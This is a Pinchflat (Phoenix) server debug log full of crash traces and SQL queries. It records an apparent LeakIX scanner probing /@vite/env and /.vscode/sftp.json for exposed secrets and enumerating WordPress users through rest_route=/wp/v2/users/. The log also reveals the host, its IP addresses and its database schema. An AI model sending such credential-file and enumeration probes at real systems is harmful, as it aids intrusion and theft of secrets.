s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:35.520 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:51:35.522 [error] #PID<0.138885.0> running PinchflatWeb.Endpoint (connection #PID<0.138854.0>, stream id 27) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /@vite/env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@vite/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@vite/env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 27, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138885.0>, params: %{}, path_info: ["@vite", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/@vite/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUs5iLP3m2OCsADZBh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@vite/env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 27, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@vite/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@vite/env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 27, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138885.0>, params: %{}, path_info: ["@vite", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/@vite/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, (truncated) 04:51:35.719 [info] {"source":"oban","duration":1756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:51:36.520 [info] GET /.vscode/sftp.json 04:51:36.521 [debug] QUERY OK source="settings" db=0.3ms idle=1000.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:36.522 [debug] QUERY OK source="settings" db=0.3ms idle=987.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:36.523 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:51:36.524 [error] #PID<0.138886.0> running PinchflatWeb.Endpoint (connection #PID<0.138854.0>, stream id 28) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /.vscode/sftp.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.vscode/sftp (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/sftp.json", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 28, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138886.0>, params: %{}, path_info: [".vscode", "sftp"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/.vscode/sftp.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUs9RIJsgx4Z4ADZCB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/sftp.json", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 28, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.vscode/sftp (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/sftp.json", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 28, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138886.0>, params: %{}, path_info: [".vscode", "sftp"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/.vscode/sftp.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ { (truncated) 04:51:37.532 [info] OPTIONS / 04:51:37.533 [debug] QUERY OK source="settings" db=0.4ms idle=1957.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:37.534 [debug] QUERY OK source="settings" db=0.4ms idle=1814.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:37.534 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:51:37.535 [error] #PID<0.138887.0> running PinchflatWeb.Endpoint (connection #PID<0.138854.0>, stream id 29) terminated Server: pinchflat.ocaff.com:80 (http) Request: OPTIONS / ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for OPTIONS / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "OPTIONS", body_length: 0, path_info: :undefined, qs: "", streamid: 29, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "OPTIONS", owner: #PID<0.138887.0>, params: %{}, path_info: [], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUtBCUNtW2B3UADZCh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "OPTIONS", body_length: 0, path_info: :undefined, qs: "", streamid: 29, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for OPTIONS / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "OPTIONS", body_length: 0, path_info: :undefined, qs: "", streamid: 29, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "OPTIONS", owner: #PID<0.138887.0>, params: %{}, path_info: [], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUtBCUNtW2B3UADZCh"} ], (truncated) 04:51:38.520 [info] GET / 04:51:38.520 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{"rest_route" => "/wp/v2/users/"} Pipelines: [:browser] 04:51:38.522 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=987.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:38.522 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.1ms idle=988.1ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 04:51:38.523 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=988.2ms SELECT count(s0."id") FROM "sources" AS s0 [] 04:51:38.525 [debug] QUERY OK source="media_items" db=1.9ms queue=0.1ms idle=988.7ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:51:38.526 [debug] QUERY OK source="media_items" db=0.6ms idle=946.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:51:38.526 [debug] QUERY OK source="settings" db=0.1ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:38.527 [debug] QUERY OK source="settings" db=0.1ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:38.527 [debug] QUERY OK source="settings" db=0.1ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:38.528 [debug] QUERY OK source="tasks" db=0.1ms idle=2.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 04:51:38.528 [debug] QUERY OK source="media_items" db=0.3ms idle=1.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:51:38.529 [debug] QUERY OK source="media_items" db=0.3ms idle=2.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:51:38.529 [debug] QUERY OK source="sources" db=0.1ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [30, 31] 04:51:38.532 [debug] QUERY OK source="media_items" db=1.4ms idle=3.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 04:51:38.534 [debug] QUERY OK source="media_items" db=1.5ms idle=4.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true 